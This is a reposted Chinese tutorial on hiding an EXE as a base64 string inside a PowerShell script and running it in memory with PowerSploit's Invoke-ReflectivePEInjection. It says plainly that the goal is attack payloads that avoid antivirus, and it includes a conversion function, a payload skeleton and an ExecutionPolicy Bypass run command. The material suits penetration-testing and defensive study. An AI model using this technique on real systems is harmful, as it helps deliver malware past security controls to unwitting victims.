《如何在PowerShell腳本中嵌入EXE文件?》要點(diǎn):
本文介紹了如何在PowerShell腳本中嵌入EXE文件?,希望對(duì)您有用。如果有疑問(wèn),可以聯(lián)系我們。
我在嘗試解決一個(gè)問(wèn)題,即在客戶端攻擊中只使用純 PowerShell 腳本作為攻擊負(fù)荷.使用 PowerShell 運(yùn)行惡意代碼具有很多優(yōu)點(diǎn),包括:
1.無(wú)需在目標(biāo)上安裝其他任何東西.
2.強(qiáng)大的引擎(例如可以直接調(diào)用 .NET 代碼).
3.可以使用 base64 編碼命令來(lái)混淆惡意命令,使惡意命令變的不容易被發(fā)現(xiàn).這同樣也是一種可以避免使用特殊字符的方法,尤其是在一個(gè)涉及多個(gè)步驟需要分離不同攻擊負(fù)荷的高級(jí)攻擊中.
4.可以使用Invoke-Expression將字符串解釋為 Powershell 命令.從滲透測(cè)試的角度看,這可以避免在目標(biāo)磁盤上編寫復(fù)雜的腳本.例如:你可以使用 Powershell 下載額外的復(fù)雜腳本,然后通過(guò)調(diào)用 Invoke-Expression 解釋并執(zhí)行下載到內(nèi)存中的腳本.這個(gè)過(guò)程同樣可以躲避殺毒軟件的查殺.
我們想在目標(biāo)上運(yùn)行一些相當(dāng)復(fù)雜的功能,這些功能常是 EXE 文件的一部分.我不想直接在目標(biāo)上放置一個(gè)二進(jìn)制文件,因?yàn)檫@樣可能會(huì)觸發(fā)反病毒機(jī)制.所以我想將其放入 Powershell 腳本中,不過(guò)我也不想重寫整個(gè) Powershell 腳本.
最終我想到一個(gè)辦法.
將二進(jìn)制文件嵌入到 Powershell 腳本中,并直接通過(guò)腳本運(yùn)行而不用將其寫入到磁盤里.
下面演示解決步驟:
可以使用以下函數(shù):
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
1.用上一步的方法將 EXE 文件轉(zhuǎn)為字符串;2.準(zhǔn)備 Invoke-ReflectivePEInjection(Powersploit project 的一部分);3.將字符串轉(zhuǎn)為字節(jié)數(shù)組;4.調(diào)用 Invoke-ReflectivePEInjection.
所以,二進(jìn)制文件只是 Powershell 腳本中的一段字符串,在將字符串解碼為二進(jìn)制數(shù)組后,就可以調(diào)用 Invoke-ReflectivePEInjection 直接在內(nèi)存中運(yùn)行.
最后看起來(lái)像這樣:
# base64 編碼的二進(jìn)制文件
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 將二進(jìn)制字符串轉(zhuǎn)為字節(jié)數(shù)組
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在內(nèi)存中運(yùn)行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
現(xiàn)在就可以在目標(biāo)上運(yùn)行腳本了:
powershell -ExecutionPolicy Bypass -File payload.ps1
根據(jù)嵌入的不同二進(jìn)制文件,可能會(huì)出現(xiàn)以下錯(cuò)誤:
PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解決這個(gè)問(wèn)題只需要運(yùn)行 32 位的 PowerShell 即可.
下面是我將 plink.exe 嵌入 payload.ps1 的例子:
原文:truesecdev,來(lái)自FreeBuf黑客與極客.
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址:
http://www.snjht.com/jiaocheng/4549.html